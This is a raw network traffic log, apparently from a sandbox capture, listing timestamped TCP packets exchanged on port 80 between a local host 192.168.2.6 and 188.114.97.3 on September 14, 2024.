Sep 14, 2024 18:44:13.826200962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826208115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826240063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826255083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826272964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826306105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826328039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826343060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826376915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826395035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826410055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826443911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826457024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826477051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826529980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826795101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826827049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826858997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826881886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826891899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826924086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826946974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826958895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826991081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827009916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827023029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827058077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827073097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827090979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827137947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827161074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827172995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827205896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827220917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827239990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827272892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827286959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827306986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827339888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827349901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827368021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827430964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827704906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827756882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827789068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827820063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827821970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827856064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827869892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827888966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827922106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827938080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.827955008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.827987909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828006029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828020096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828052044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828063011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828083992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828116894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828150988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828161001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828182936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828201056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828217983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828252077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828265905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828284979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828319073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828346014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828489065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828521967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828538895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.828556061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.828602076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.896560907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896605015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896641016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896673918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.896702051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896738052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896758080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.896790981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896825075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896842957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.896858931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896893978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896922112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.896945953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896981001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.896994114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897013903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897047043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897057056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897079945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897114992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897126913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897289038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897322893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897341967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897356033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897389889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897401094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897422075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897452116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897468090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897485971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897519112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897535086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897551060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897584915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897593021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897618055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897655964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897661924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.897691011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.897749901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.912906885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913079023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913114071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913146019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913167953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913203955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913223028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913239956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913274050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913290024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913326025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913376093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913378954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913413048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913444996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913464069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913479090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913510084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913527966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913542032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913575888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913593054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913609028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913642883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913656950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913676977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913710117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913727045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913744926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913798094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913852930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913887024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913919926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913938046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.913953066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.913986921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914005995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914020061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914053917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914072990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914088011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914123058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914139032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914298058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914331913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914355993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914365053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914397955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914432049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914437056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914463997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914479017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914498091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914532900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914542913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914766073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914799929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914823055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914830923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914865017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914889097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914896965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914931059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914946079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.914963007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.914995909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915013075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915029049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915065050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915077925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915097952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915129900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915143967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915164948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915198088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915215969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915234089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915262938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915278912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915296078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915330887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915354967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915591955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915625095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915652990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915658951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915692091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915704966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915731907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915765047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915781021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915797949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915828943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915853977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915863991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915896893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915911913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915929079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915961981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.915978909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.915999889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916048050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916256905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916290045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916322947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916354895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916357040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916390896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916405916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916423082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916455030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916471958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916486979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916520119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916538000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916553020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916587114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916604996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916619062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916652918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916666985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916692019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916726112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916747093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916759014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916791916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916815042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916825056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916857958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.916870117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.916986942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.917047977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986495972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986516953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986531019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986542940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986556053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986567974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986579895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986618996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986632109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986644030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986671925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986692905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986705065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986706972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986720085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986732006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986745119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986745119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.986795902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.986814976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987067938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987123013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987157106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987169981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987190962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987226009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987230062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987258911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987293959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987304926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987327099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987360954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987370014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987423897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987457991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987469912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987493992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987546921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.987608910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987646103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.987695932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013065100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013101101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013137102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013159037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013171911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013206959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013219118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013348103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013391972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013400078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013433933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013468027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013489008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013519049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013550997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013565063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013585091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013619900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013628960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013654947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013695002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013721943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013801098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013834953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.013844967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.013915062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014019012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014045000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014133930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014168024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014168978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014221907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014259100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014273882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014292955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014326096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014337063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014359951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014391899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014403105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014425039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014456987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014481068 CEST	49722	80	192.168.2.6	188.114.97.3
